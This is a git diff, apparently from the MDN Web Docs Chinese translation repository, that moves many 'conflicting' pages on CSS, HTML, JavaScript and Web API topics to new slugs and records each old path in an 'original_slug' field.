diff --git a/files/zh-cn/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html b/files/zh-cn/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html index e5a3bae8a0..a5ab6d1ebe 100644 --- a/files/zh-cn/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html +++ b/files/zh-cn/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html @@ -1,8 +1,9 @@ --- title: 层叠和继承 -slug: Web/Guide/CSS/Getting_started/Cascading_and_inheritance +slug: conflicting/Learn/CSS/Building_blocks/Cascade_and_inheritance translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance translation_of_original: Web/Guide/CSS/Getting_started/Cascading_and_inheritance +original_slug: Web/Guide/CSS/Getting_started/Cascading_and_inheritance ---

{{ CSSTutorialTOC() }}

diff --git a/files/zh-cn/conflicting/learn/css/building_blocks/index.html b/files/zh-cn/conflicting/learn/css/building_blocks/index.html index 0bfb7e2ed5..9c20acc77b 100644 --- a/files/zh-cn/conflicting/learn/css/building_blocks/index.html +++ b/files/zh-cn/conflicting/learn/css/building_blocks/index.html @@ -1,8 +1,9 @@ --- title: 盒模型 -slug: Web/Guide/CSS/Getting_started/Boxes +slug: conflicting/Learn/CSS/Building_blocks translation_of: Learn/CSS/Building_blocks translation_of_original: Web/Guide/CSS/Getting_started/Boxes +original_slug: Web/Guide/CSS/Getting_started/Boxes ---

{{ CSSTutorialTOC() }}

diff --git a/files/zh-cn/conflicting/learn/css/building_blocks/selectors/index.html b/files/zh-cn/conflicting/learn/css/building_blocks/selectors/index.html index 69f0700b19..1ab629b72f 100644 --- a/files/zh-cn/conflicting/learn/css/building_blocks/selectors/index.html +++ b/files/zh-cn/conflicting/learn/css/building_blocks/selectors/index.html @@ -1,8 +1,9 @@ --- title: 选择器 -slug: Web/Guide/CSS/Getting_started/Selectors +slug: conflicting/Learn/CSS/Building_blocks/Selectors translation_of: Learn/CSS/Building_blocks/Selectors translation_of_original: Web/Guide/CSS/Getting_started/Selectors +original_slug: Web/Guide/CSS/Getting_started/Selectors ---

{{ CSSTutorialTOC() }}

diff --git a/files/zh-cn/conflicting/learn/css/building_blocks/styling_tables/index.html b/files/zh-cn/conflicting/learn/css/building_blocks/styling_tables/index.html index b6b4859e99..091b9458f9 100644 --- a/files/zh-cn/conflicting/learn/css/building_blocks/styling_tables/index.html +++ b/files/zh-cn/conflicting/learn/css/building_blocks/styling_tables/index.html @@ -1,8 +1,9 @@ --- title: 表格 -slug: Web/Guide/CSS/Getting_started/Tables +slug: conflicting/Learn/CSS/Building_blocks/Styling_tables translation_of: Learn/CSS/Building_blocks/Styling_tables translation_of_original: Web/Guide/CSS/Getting_started/Tables +original_slug: Web/Guide/CSS/Getting_started/Tables ---

{{CSSTutorialTOC}}{{previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Layout", "布局")}}

diff --git a/files/zh-cn/conflicting/learn/css/building_blocks/values_and_units/index.html b/files/zh-cn/conflicting/learn/css/building_blocks/values_and_units/index.html index a9348bd9bd..680e46c676 100644 --- a/files/zh-cn/conflicting/learn/css/building_blocks/values_and_units/index.html +++ b/files/zh-cn/conflicting/learn/css/building_blocks/values_and_units/index.html @@ -1,8 +1,9 @@ --- title: Color -slug: Web/Guide/CSS/Getting_started/Color +slug: conflicting/Learn/CSS/Building_blocks/Values_and_units translation_of: Learn/CSS/Introduction_to_CSS/Values_and_units#Colors translation_of_original: Web/Guide/CSS/Getting_started/Color +original_slug: Web/Guide/CSS/Getting_started/Color ---

{{ CSSTutorialTOC() }}

diff --git a/files/zh-cn/conflicting/learn/css/css_layout/index.html b/files/zh-cn/conflicting/learn/css/css_layout/index.html index ecd91f80e1..6e5cc4ae53 100644 --- a/files/zh-cn/conflicting/learn/css/css_layout/index.html +++ b/files/zh-cn/conflicting/learn/css/css_layout/index.html @@ -1,8 +1,9 @@ --- title: 布局 -slug: Web/Guide/CSS/Getting_started/Layout +slug: conflicting/Learn/CSS/CSS_layout translation_of: Learn/CSS/CSS_layout translation_of_original: Web/Guide/CSS/Getting_started/Layout +original_slug: Web/Guide/CSS/Getting_started/Layout ---

{{ CSSTutorialTOC() }}

diff --git a/files/zh-cn/conflicting/learn/css/first_steps/how_css_is_structured/index.html b/files/zh-cn/conflicting/learn/css/first_steps/how_css_is_structured/index.html index 17553c5013..7f731ee088 100644 --- a/files/zh-cn/conflicting/learn/css/first_steps/how_css_is_structured/index.html +++ b/files/zh-cn/conflicting/learn/css/first_steps/how_css_is_structured/index.html @@ -1,8 +1,9 @@ --- title: 创建可读性良好的CSS -slug: Web/Guide/CSS/Getting_started/Readable_CSS +slug: conflicting/Learn/CSS/First_steps/How_CSS_is_structured translation_of: Learn/CSS/Introduction_to_CSS/Syntax#Beyond_syntax_make_CSS_readable translation_of_original: Web/Guide/CSS/Getting_started/Readable_CSS +original_slug: Web/Guide/CSS/Getting_started/Readable_CSS ---

{{ CSSTutorialTOC() }}

diff --git a/files/zh-cn/conflicting/learn/css/first_steps/how_css_works/index.html b/files/zh-cn/conflicting/learn/css/first_steps/how_css_works/index.html index fce3091715..5bf2a3b516 100644 --- a/files/zh-cn/conflicting/learn/css/first_steps/how_css_works/index.html +++ b/files/zh-cn/conflicting/learn/css/first_steps/how_css_works/index.html @@ -1,8 +1,9 @@ --- title: CSS如何工作 -slug: Web/Guide/CSS/Getting_started/How_CSS_works +slug: conflicting/Learn/CSS/First_steps/How_CSS_works translation_of: Learn/CSS/First_steps/How_CSS_works translation_of_original: Web/Guide/CSS/Getting_started/How_CSS_works +original_slug: Web/Guide/CSS/Getting_started/How_CSS_works ---

{{ CSSTutorialTOC() }}

diff --git a/files/zh-cn/conflicting/learn/css/first_steps/how_css_works_64ba4331a7a5f4319c6e06b06ccdd521/index.html b/files/zh-cn/conflicting/learn/css/first_steps/how_css_works_64ba4331a7a5f4319c6e06b06ccdd521/index.html index ca5092f2af..918372bd48 100644 --- a/files/zh-cn/conflicting/learn/css/first_steps/how_css_works_64ba4331a7a5f4319c6e06b06ccdd521/index.html +++ b/files/zh-cn/conflicting/learn/css/first_steps/how_css_works_64ba4331a7a5f4319c6e06b06ccdd521/index.html @@ -1,12 +1,14 @@ --- title: 为何使用CSS? -slug: Web/Guide/CSS/Getting_started/Why_use_CSS +slug: >- + conflicting/Learn/CSS/First_steps/How_CSS_works_64ba4331a7a5f4319c6e06b06ccdd521 tags: - CSS - - 'CSS:入门' + - CSS:入门 - NeedsLiveSample translation_of: Learn/CSS/First_steps/How_CSS_works translation_of_original: Web/Guide/CSS/Getting_started/Why_use_CSS +original_slug: Web/Guide/CSS/Getting_started/Why_use_CSS ---

{{ CSSTutorialTOC() }}

diff --git a/files/zh-cn/conflicting/learn/css/first_steps/how_css_works_b66915031fb62b5fee1201086144e209/index.html b/files/zh-cn/conflicting/learn/css/first_steps/how_css_works_b66915031fb62b5fee1201086144e209/index.html index 7fcb01c0b0..973ec37d71 100644 --- a/files/zh-cn/conflicting/learn/css/first_steps/how_css_works_b66915031fb62b5fee1201086144e209/index.html +++ b/files/zh-cn/conflicting/learn/css/first_steps/how_css_works_b66915031fb62b5fee1201086144e209/index.html @@ -1,8 +1,10 @@ --- title: What is CSS -slug: Web/Guide/CSS/Getting_started/What_is_CSS +slug: >- + conflicting/Learn/CSS/First_steps/How_CSS_works_b66915031fb62b5fee1201086144e209 translation_of: Learn/CSS/First_steps/How_CSS_works translation_of_original: Web/Guide/CSS/Getting_started/What_is_CSS +original_slug: Web/Guide/CSS/Getting_started/What_is_CSS ---
{{CSSTutorialTOC}}
diff --git a/files/zh-cn/conflicting/learn/css/first_steps/index.html b/files/zh-cn/conflicting/learn/css/first_steps/index.html index 585243aa2a..d18a052149 100644 --- a/files/zh-cn/conflicting/learn/css/first_steps/index.html +++ b/files/zh-cn/conflicting/learn/css/first_steps/index.html @@ -1,9 +1,9 @@ --- title: CSS入门教程 -slug: Web/Guide/CSS/Getting_started +slug: conflicting/Learn/CSS/First_steps tags: - CSS - - 'CSS:Getting_Started' + - CSS:Getting_Started - CSS入门 - CSS教程 - Web @@ -11,6 +11,7 @@ tags: - 教程 translation_of: Learn/CSS/First_steps translation_of_original: Web/Guide/CSS/Getting_started +original_slug: Web/Guide/CSS/Getting_started ---

 

diff --git a/files/zh-cn/conflicting/learn/css/styling_text/fundamentals/index.html b/files/zh-cn/conflicting/learn/css/styling_text/fundamentals/index.html index fd67fc382c..730c8cbca6 100644 --- a/files/zh-cn/conflicting/learn/css/styling_text/fundamentals/index.html +++ b/files/zh-cn/conflicting/learn/css/styling_text/fundamentals/index.html @@ -1,11 +1,12 @@ --- title: 理解下划线 -slug: Understanding_Underlines +slug: conflicting/Learn/CSS/Styling_text/Fundamentals tags: - - 'CSS:Articles' + - CSS:Articles translation_of: >- Learn/CSS/Styling_text/Fundamentals#Font_style_font_weight_text_transform_and_text_decoration translation_of_original: Understanding_Underlines +original_slug: Understanding_Underlines ---

对于 Web 设计者来说, 想移除其设计中某些 (或全部) 超链接的下划线是相当常见的事情。但是由于在过去浏览器中的一些不标准的行为, 一些人在删除超链接中下划线的正确方法方面存在一些问题。最常见的错误是这样做:

diff --git a/files/zh-cn/conflicting/learn/css/styling_text/fundamentals_5a3f2ce7cc4f23ec431e57a447af0711/index.html b/files/zh-cn/conflicting/learn/css/styling_text/fundamentals_5a3f2ce7cc4f23ec431e57a447af0711/index.html index f7d1d38b23..128204ecbc 100644 --- a/files/zh-cn/conflicting/learn/css/styling_text/fundamentals_5a3f2ce7cc4f23ec431e57a447af0711/index.html +++ b/files/zh-cn/conflicting/learn/css/styling_text/fundamentals_5a3f2ce7cc4f23ec431e57a447af0711/index.html @@ -1,8 +1,10 @@ --- title: 文本样式 -slug: Web/Guide/CSS/Getting_started/Text_styles +slug: >- + conflicting/Learn/CSS/Styling_text/Fundamentals_5a3f2ce7cc4f23ec431e57a447af0711 translation_of: Learn/CSS/Styling_text/Fundamentals translation_of_original: Web/Guide/CSS/Getting_started/Text_styles +original_slug: Web/Guide/CSS/Getting_started/Text_styles ---

{{ CSSTutorialTOC() }}

diff --git a/files/zh-cn/conflicting/learn/css/styling_text/styling_lists/index.html b/files/zh-cn/conflicting/learn/css/styling_text/styling_lists/index.html index 8a85655517..61655596da 100644 --- a/files/zh-cn/conflicting/learn/css/styling_text/styling_lists/index.html +++ b/files/zh-cn/conflicting/learn/css/styling_text/styling_lists/index.html @@ -1,8 +1,9 @@ --- title: Lists -slug: Web/Guide/CSS/Getting_started/Lists +slug: conflicting/Learn/CSS/Styling_text/Styling_lists translation_of: Learn/CSS/Styling_text/Styling_lists translation_of_original: Web/Guide/CSS/Getting_started/Lists +original_slug: Web/Guide/CSS/Getting_started/Lists ---

{{ CSSTutorialTOC() }}

diff --git a/files/zh-cn/conflicting/learn/getting_started_with_the_web/javascript_basics/index.html b/files/zh-cn/conflicting/learn/getting_started_with_the_web/javascript_basics/index.html index 67056c679b..45171f78c7 100644 --- a/files/zh-cn/conflicting/learn/getting_started_with_the_web/javascript_basics/index.html +++ b/files/zh-cn/conflicting/learn/getting_started_with_the_web/javascript_basics/index.html @@ -1,10 +1,11 @@ --- title: 起步(Javascript 教程) -slug: Web/JavaScript/Getting_Started +slug: conflicting/Learn/Getting_started_with_the_web/JavaScript_basics tags: - bug-840092 translation_of: Learn/Getting_started_with_the_web/JavaScript_basics translation_of_original: Web/JavaScript/Getting_Started +original_slug: Web/JavaScript/Getting_Started ---

JavaScript是什么?

diff --git a/files/zh-cn/conflicting/learn/html/introduction_to_html/creating_hyperlinks/index.html b/files/zh-cn/conflicting/learn/html/introduction_to_html/creating_hyperlinks/index.html index fd51ef502f..81d56d0055 100644 --- a/files/zh-cn/conflicting/learn/html/introduction_to_html/creating_hyperlinks/index.html +++ b/files/zh-cn/conflicting/learn/html/introduction_to_html/creating_hyperlinks/index.html @@ -1,6 +1,6 @@ --- title: Email links -slug: Web/Guide/HTML/Email_links +slug: conflicting/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks tags: - HTML5 - SEO @@ -9,6 +9,7 @@ tags: - mailto translation_of: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#E-mail_links translation_of_original: Web/Guide/HTML/Email_links +original_slug: Web/Guide/HTML/Email_links ---

这往往是有益的Web站点能够创建链接或按钮,点击后,打开一个新的出站电子邮件。例如,这可能会创造一个“联系我们”按钮时使用。这是使用完成{{HTMLElement("a")}} 元素和mailto URL方案。.

diff --git a/files/zh-cn/conflicting/learn/html/multimedia_and_embedding/video_and_audio_content/index.html b/files/zh-cn/conflicting/learn/html/multimedia_and_embedding/video_and_audio_content/index.html index f1ebacd184..b2537fe024 100644 --- a/files/zh-cn/conflicting/learn/html/multimedia_and_embedding/video_and_audio_content/index.html +++ b/files/zh-cn/conflicting/learn/html/multimedia_and_embedding/video_and_audio_content/index.html @@ -1,6 +1,6 @@ --- title: 使用 HTML5 音频和视频 -slug: Web/Guide/HTML/Using_HTML5_audio_and_video +slug: conflicting/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content tags: - Flash - HTML @@ -17,6 +17,7 @@ tags: - 音频 translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content translation_of_original: Web/Guide/HTML/Using_HTML5_audio_and_video +original_slug: Web/Guide/HTML/Using_HTML5_audio_and_video ---

HTML5 通过HTML标签“audio”和“video”来支持嵌入式的媒体,使开发者能够方便地将媒体嵌入到HTML文档中。

diff --git a/files/zh-cn/conflicting/learn/index.html b/files/zh-cn/conflicting/learn/index.html index 9e2e40d682..33efe52747 100644 --- a/files/zh-cn/conflicting/learn/index.html +++ b/files/zh-cn/conflicting/learn/index.html @@ -1,8 +1,9 @@ --- title: 如何建设一个网站 -slug: Learn/tutorial/How_to_build_a_web_site +slug: conflicting/Learn translation_of: Learn translation_of_original: Learn/tutorial/How_to_build_a_web_site +original_slug: Learn/tutorial/How_to_build_a_web_site ---

  当我们在学习网页设计时,许多人都希望尽快建设一个属于自己的网站。为了让你建站之路更平坦,我们已经缩小了你所需要的最低限度的知识。

diff --git a/files/zh-cn/conflicting/learn/javascript/client-side_web_apis/manipulating_documents/index.html b/files/zh-cn/conflicting/learn/javascript/client-side_web_apis/manipulating_documents/index.html index 1f53ff70ba..91b8d79a01 100644 --- a/files/zh-cn/conflicting/learn/javascript/client-side_web_apis/manipulating_documents/index.html +++ b/files/zh-cn/conflicting/learn/javascript/client-side_web_apis/manipulating_documents/index.html @@ -1,8 +1,9 @@ --- title: JavaScript 与 CSS -slug: Web/Guide/CSS/Getting_started/JavaScript +slug: conflicting/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents translation_of_original: Web/Guide/CSS/Getting_started/JavaScript +original_slug: Web/Guide/CSS/Getting_started/JavaScript ---

{{ CSSTutorialTOC() }}

diff --git a/files/zh-cn/conflicting/learn/javascript/objects/index.html b/files/zh-cn/conflicting/learn/javascript/objects/index.html index 1ae4554c63..9ae0bde819 100644 --- a/files/zh-cn/conflicting/learn/javascript/objects/index.html +++ b/files/zh-cn/conflicting/learn/javascript/objects/index.html @@ -1,6 +1,6 @@ --- title: JavaScript面向对象简介 -slug: Web/JavaScript/Introduction_to_Object-Oriented_JavaScript +slug: conflicting/Learn/JavaScript/Objects tags: - JavaScript - OOP @@ -13,6 +13,7 @@ tags: - 面向对象 translation_of: Learn/JavaScript/Objects translation_of_original: Web/JavaScript/Introduction_to_Object-Oriented_JavaScript +original_slug: Web/JavaScript/Introduction_to_Object-Oriented_JavaScript ---
{{jsSidebar("Introductory")}}
diff --git a/files/zh-cn/conflicting/learn/server-side/django/index.html b/files/zh-cn/conflicting/learn/server-side/django/index.html index 95ec82f251..86ecd5bb6c 100644 --- a/files/zh-cn/conflicting/learn/server-side/django/index.html +++ b/files/zh-cn/conflicting/learn/server-side/django/index.html @@ -1,11 +1,12 @@ --- title: Python -slug: Python +slug: conflicting/Learn/Server-side/Django tags: - Python - Services translation_of: Learn/Server-side/Django translation_of_original: Python +original_slug: Python ---

Python 是一款直译式脚本语言,支持包括 Linux、Mac OS X 和 Microsoft Windows 在内的多种平台。

diff --git a/files/zh-cn/conflicting/learn_30ccce5e65b5ce795fc2e288fe9d012b/index.html b/files/zh-cn/conflicting/learn_30ccce5e65b5ce795fc2e288fe9d012b/index.html index 922d45fbc1..757accbc32 100644 --- a/files/zh-cn/conflicting/learn_30ccce5e65b5ce795fc2e288fe9d012b/index.html +++ b/files/zh-cn/conflicting/learn_30ccce5e65b5ce795fc2e288fe9d012b/index.html @@ -1,12 +1,13 @@ --- title: Tutorials -slug: Learn/tutorial +slug: conflicting/Learn_30ccce5e65b5ce795fc2e288fe9d012b tags: - Index - NeedsTranslation - TopicStub translation_of: Learn translation_of_original: Learn/tutorial +original_slug: Learn/tutorial ---

It's great to know about Web technologies and the concepts behind them, but at some point it's time to turn theory into practice. We've set up some pathways that will help you get results with Web technology and enjoy the power you unlock as you learn!

diff --git a/files/zh-cn/conflicting/mdn/contribute/index.html b/files/zh-cn/conflicting/mdn/contribute/index.html index 8e298ed29b..2bdaafa3d0 100644 --- a/files/zh-cn/conflicting/mdn/contribute/index.html +++ b/files/zh-cn/conflicting/mdn/contribute/index.html @@ -1,7 +1,8 @@ --- -title: 'MDC:How to Help' -slug: 'MDC:怎样进行帮助' +title: MDC:How to Help +slug: conflicting/MDN/Contribute translation_of: MDN/Contribute -translation_of_original: 'MDC:How_to_Help' +translation_of_original: MDC:How_to_Help +original_slug: MDC:怎样进行帮助 ---

你好,世界!

diff --git a/files/zh-cn/conflicting/mdn/guidelines/css_style_guide/index.html b/files/zh-cn/conflicting/mdn/guidelines/css_style_guide/index.html index b2b145fe60..1398443c47 100644 --- a/files/zh-cn/conflicting/mdn/guidelines/css_style_guide/index.html +++ b/files/zh-cn/conflicting/mdn/guidelines/css_style_guide/index.html @@ -1,8 +1,9 @@ --- title: 内容块 -slug: MDN/Guidelines/Content_blocks +slug: conflicting/MDN/Guidelines/CSS_style_guide translation_of: MDN/Guidelines/CSS_style_guide translation_of_original: MDN/Structures/Content_blocks +original_slug: MDN/Guidelines/Content_blocks ---
{{MDNSidebar}}

This pages lists reusable content blocks.

diff --git a/files/zh-cn/conflicting/mozilla/add-ons/webextensions/user_interface/index.html b/files/zh-cn/conflicting/mozilla/add-ons/webextensions/user_interface/index.html index 0aaec74b1f..afd1b849ca 100644 --- a/files/zh-cn/conflicting/mozilla/add-ons/webextensions/user_interface/index.html +++ b/files/zh-cn/conflicting/mozilla/add-ons/webextensions/user_interface/index.html @@ -1,8 +1,9 @@ --- title: 用户界面元素 -slug: Mozilla/Add-ons/WebExtensions/用户界面元素 +slug: conflicting/Mozilla/Add-ons/WebExtensions/user_interface translation_of: Mozilla/Add-ons/WebExtensions/user_interface translation_of_original: Mozilla/Add-ons/WebExtensions/User_interface_components +original_slug: Mozilla/Add-ons/WebExtensions/用户界面元素 ---
{{AddonSidebar}}
diff --git a/files/zh-cn/conflicting/tools/keyboard_shortcuts/index.html b/files/zh-cn/conflicting/tools/keyboard_shortcuts/index.html index f1169710b4..c7a388f299 100644 --- a/files/zh-cn/conflicting/tools/keyboard_shortcuts/index.html +++ b/files/zh-cn/conflicting/tools/keyboard_shortcuts/index.html @@ -1,8 +1,9 @@ --- title: 使用源代码编辑器 -slug: Tools/Using_the_Source_Editor +slug: conflicting/tools/Keyboard_shortcuts translation_of: tools/Keyboard_shortcuts#Source_editor translation_of_original: Tools/Using_the_Source_Editor +original_slug: Tools/Using_the_Source_Editor ---
{{ToolsSidebar}}

源代码编辑器是一个编辑器组件,由源editor.jsm的Java Script代码模块的提供,这是共享的几个开发工具,包括暂存器和样式编辑器。它也可以被使用的Firefox扩展。本文说明如何使用编辑器来编辑文本。.

键盘命令

diff --git a/files/zh-cn/conflicting/tools/performance/index.html b/files/zh-cn/conflicting/tools/performance/index.html index e2f7da543c..a6187179d2 100644 --- a/files/zh-cn/conflicting/tools/performance/index.html +++ b/files/zh-cn/conflicting/tools/performance/index.html @@ -1,8 +1,9 @@ --- title: JavaScript Profiler -slug: Tools/Profiler +slug: conflicting/Tools/Performance translation_of: Tools/Performance translation_of_original: Tools/Profiler +original_slug: Tools/Profiler ---
{{ToolsSidebar}}

使用Profiler工具找到你的JavaScript代码的瓶颈. Profiler会定期统计JavaScript样本的堆栈信息.

diff --git a/files/zh-cn/conflicting/web/accessibility/index.html b/files/zh-cn/conflicting/web/accessibility/index.html index b01b7be6dd..061aae9a6e 100644 --- a/files/zh-cn/conflicting/web/accessibility/index.html +++ b/files/zh-cn/conflicting/web/accessibility/index.html @@ -1,10 +1,11 @@ --- title: Web Development -slug: Web/Accessibility/Web_Development +slug: conflicting/Web/Accessibility tags: - 网页无障碍访问 translation_of: Web/Accessibility translation_of_original: Web/Accessibility/Web_Development +original_slug: Web/Accessibility/Web_Development ---

本篇文档为开发者提供了有关网站无障碍访问以及XUL无障碍开发的更多信息。

diff --git a/files/zh-cn/conflicting/web/api/canvas_api/tutorial/index.html b/files/zh-cn/conflicting/web/api/canvas_api/tutorial/index.html index 3cef2b94e8..f81a2be43c 100644 --- a/files/zh-cn/conflicting/web/api/canvas_api/tutorial/index.html +++ b/files/zh-cn/conflicting/web/api/canvas_api/tutorial/index.html @@ -1,8 +1,9 @@ --- title: Drawing graphics with canvas -slug: Web/API/Canvas_API/Drawing_graphics_with_canvas +slug: conflicting/Web/API/Canvas_API/Tutorial translation_of: Web/API/Canvas_API/Tutorial translation_of_original: Web/API/Canvas_API/Drawing_graphics_with_canvas +original_slug: Web/API/Canvas_API/Drawing_graphics_with_canvas ---

本文大部分(但不包括关于绘制窗体部分的文档)已经被包含到更详尽的Canvas教程中,该页面因为现在已经显得多余可能会被链接到那里,但是某些信息可能仍然是十分有用的。

diff --git a/files/zh-cn/conflicting/web/api/crypto/getrandomvalues/index.html b/files/zh-cn/conflicting/web/api/crypto/getrandomvalues/index.html index 1366009032..3fd5c0018d 100644 --- a/files/zh-cn/conflicting/web/api/crypto/getrandomvalues/index.html +++ b/files/zh-cn/conflicting/web/api/crypto/getrandomvalues/index.html @@ -1,8 +1,9 @@ --- title: RandomSource -slug: Web/API/RandomSource +slug: conflicting/Web/API/Crypto/getRandomValues translation_of: Web/API/Crypto/getRandomValues translation_of_original: Web/API/RandomSource +original_slug: Web/API/RandomSource ---

{{APIRef("Web Crypto API")}}

diff --git a/files/zh-cn/conflicting/web/api/document/characterset/index.html b/files/zh-cn/conflicting/web/api/document/characterset/index.html index 00701e8acf..ce06fbc644 100644 --- a/files/zh-cn/conflicting/web/api/document/characterset/index.html +++ b/files/zh-cn/conflicting/web/api/document/characterset/index.html @@ -1,8 +1,9 @@ --- title: document.inputEncoding -slug: Web/API/Document/inputEncoding +slug: conflicting/Web/API/Document/characterSet translation_of: Web/API/Document/characterSet translation_of_original: Web/API/Document/inputEncoding +original_slug: Web/API/Document/inputEncoding ---

{{ ApiRef() }} {{ deprecated_header() }}

概述

diff --git a/files/zh-cn/conflicting/web/api/document/createevent/index.html b/files/zh-cn/conflicting/web/api/document/createevent/index.html index 8b9c249c71..84d91c4dec 100644 --- a/files/zh-cn/conflicting/web/api/document/createevent/index.html +++ b/files/zh-cn/conflicting/web/api/document/createevent/index.html @@ -1,6 +1,6 @@ --- title: Event.createEvent() -slug: Web/API/Event/createEvent +slug: conflicting/Web/API/Document/createEvent tags: - DOM - Event @@ -8,6 +8,7 @@ tags: - Method translation_of: Web/API/Document/createEvent translation_of_original: Web/API/Event/createEvent +original_slug: Web/API/Event/createEvent ---

{{APIRef("DOM")}}

diff --git a/files/zh-cn/conflicting/web/api/document/hasfocus/index.html b/files/zh-cn/conflicting/web/api/document/hasfocus/index.html index df29adde76..db40737695 100644 --- a/files/zh-cn/conflicting/web/api/document/hasfocus/index.html +++ b/files/zh-cn/conflicting/web/api/document/hasfocus/index.html @@ -1,6 +1,6 @@ --- title: HTML 焦点管理 -slug: Web/HTML/Focus_management_in_HTML +slug: conflicting/Web/API/Document/hasFocus tags: - DOM - HTML @@ -8,6 +8,7 @@ tags: - 焦点 translation_of: Web/API/Document/hasFocus translation_of_original: Web/HTML/Focus_management_in_HTML +original_slug: Web/HTML/Focus_management_in_HTML ---

重定向 Document.hasFocus()

diff --git a/files/zh-cn/conflicting/web/api/document_object_model/index.html b/files/zh-cn/conflicting/web/api/document_object_model/index.html index 80f115abfd..d7a4164ee9 100644 --- a/files/zh-cn/conflicting/web/api/document_object_model/index.html +++ b/files/zh-cn/conflicting/web/api/document_object_model/index.html @@ -1,8 +1,9 @@ --- title: 前言 -slug: Web/API/Document_Object_Model/Preface +slug: conflicting/Web/API/Document_Object_Model translation_of: Web/API/Document_Object_Model translation_of_original: Web/API/Document_Object_Model/Preface +original_slug: Web/API/Document_Object_Model/Preface ---

{{ ApiRef() }}

关于此参考文档

diff --git a/files/zh-cn/conflicting/web/api/document_object_model_dd00a71ceceac547ab464128db6bd8ef/index.html b/files/zh-cn/conflicting/web/api/document_object_model_dd00a71ceceac547ab464128db6bd8ef/index.html index e09b7ab597..285ced6f96 100644 --- a/files/zh-cn/conflicting/web/api/document_object_model_dd00a71ceceac547ab464128db6bd8ef/index.html +++ b/files/zh-cn/conflicting/web/api/document_object_model_dd00a71ceceac547ab464128db6bd8ef/index.html @@ -1,6 +1,6 @@ --- title: DOM 开发者指南 -slug: Web/Guide/API/DOM +slug: conflicting/Web/API/Document_Object_Model_dd00a71ceceac547ab464128db6bd8ef tags: - API - DOM @@ -9,6 +9,7 @@ tags: - TopicStub translation_of: Web/API/Document_Object_Model translation_of_original: Web/Guide/API/DOM +original_slug: Web/Guide/API/DOM ---

{{draft}}

diff --git a/files/zh-cn/conflicting/web/api/documentorshadowroot/elementfrompoint/index.html b/files/zh-cn/conflicting/web/api/documentorshadowroot/elementfrompoint/index.html index 6fb591e1da..83bcafb45b 100644 --- a/files/zh-cn/conflicting/web/api/documentorshadowroot/elementfrompoint/index.html +++ b/files/zh-cn/conflicting/web/api/documentorshadowroot/elementfrompoint/index.html @@ -1,8 +1,9 @@ --- title: Document.elementFromPoint() -slug: Web/API/Document/elementFromPoint +slug: conflicting/Web/API/DocumentOrShadowRoot/elementFromPoint translation_of: Web/API/DocumentOrShadowRoot/elementFromPoint translation_of_original: Web/API/Document/elementFromPoint +original_slug: Web/API/Document/elementFromPoint ---
{{APIRef()}} {{Fx_minversion_header(3)}}
diff --git a/files/zh-cn/conflicting/web/api/documentorshadowroot/elementsfrompoint/index.html b/files/zh-cn/conflicting/web/api/documentorshadowroot/elementsfrompoint/index.html index 9a7ee01503..3b1043f630 100644 --- a/files/zh-cn/conflicting/web/api/documentorshadowroot/elementsfrompoint/index.html +++ b/files/zh-cn/conflicting/web/api/documentorshadowroot/elementsfrompoint/index.html @@ -1,8 +1,9 @@ --- title: Document.elementsFromPoint() -slug: Web/API/Document/elementsFromPoint +slug: conflicting/Web/API/DocumentOrShadowRoot/elementsFromPoint translation_of: Web/API/DocumentOrShadowRoot/elementsFromPoint translation_of_original: Web/API/Document/elementsFromPoint +original_slug: Web/API/Document/elementsFromPoint ---
{{APIRef("DOM")}}{{SeeCompatTable}}
diff --git a/files/zh-cn/conflicting/web/api/documentorshadowroot/getselection/index.html b/files/zh-cn/conflicting/web/api/documentorshadowroot/getselection/index.html index 73b3a4ce6b..dce4bc9c58 100644 --- a/files/zh-cn/conflicting/web/api/documentorshadowroot/getselection/index.html +++ b/files/zh-cn/conflicting/web/api/documentorshadowroot/getselection/index.html @@ -1,8 +1,9 @@ --- title: document.getSelection -slug: Web/API/Document/getSelection +slug: conflicting/Web/API/DocumentOrShadowRoot/getSelection translation_of: Web/API/DocumentOrShadowRoot/getSelection translation_of_original: Web/API/Document/getSelection +original_slug: Web/API/Document/getSelection ---
diff --git a/files/zh-cn/conflicting/web/api/documentorshadowroot/stylesheets/index.html b/files/zh-cn/conflicting/web/api/documentorshadowroot/stylesheets/index.html index de44c8537b..088be5bd6b 100644 --- a/files/zh-cn/conflicting/web/api/documentorshadowroot/stylesheets/index.html +++ b/files/zh-cn/conflicting/web/api/documentorshadowroot/stylesheets/index.html @@ -1,8 +1,9 @@ --- title: Document.styleSheets -slug: Web/API/Document/styleSheets +slug: conflicting/Web/API/DocumentOrShadowRoot/styleSheets translation_of: Web/API/DocumentOrShadowRoot/styleSheets translation_of_original: Web/API/Document/styleSheets +original_slug: Web/API/Document/styleSheets ---
{{APIRef}}
diff --git a/files/zh-cn/conflicting/web/api/dommatrix/index.html b/files/zh-cn/conflicting/web/api/dommatrix/index.html index 16fe55276d..364ba0709c 100644 --- a/files/zh-cn/conflicting/web/api/dommatrix/index.html +++ b/files/zh-cn/conflicting/web/api/dommatrix/index.html @@ -1,8 +1,9 @@ --- title: CSSMatrix -slug: Web/API/CSSMatrix +slug: conflicting/Web/API/DOMMatrix translation_of: Web/API/DOMMatrix translation_of_original: Web/API/CSSMatrix +original_slug: Web/API/CSSMatrix ---
{{APIRef("CSSOM")}}{{Non-standard_header}}
diff --git a/files/zh-cn/conflicting/web/api/element/index.html b/files/zh-cn/conflicting/web/api/element/index.html index 2a489d3b22..51c660e9ce 100644 --- a/files/zh-cn/conflicting/web/api/element/index.html +++ b/files/zh-cn/conflicting/web/api/element/index.html @@ -1,6 +1,6 @@ --- title: Slotable -slug: Web/API/Slotable +slug: conflicting/Web/API/Element tags: - API - Web Components @@ -8,6 +8,7 @@ tags: - 接口 translation_of: Web/API/Slottable translation_of_original: Web/API/Slotable +original_slug: Web/API/Slotable ---

{{APIRef("Shadow DOM")}}

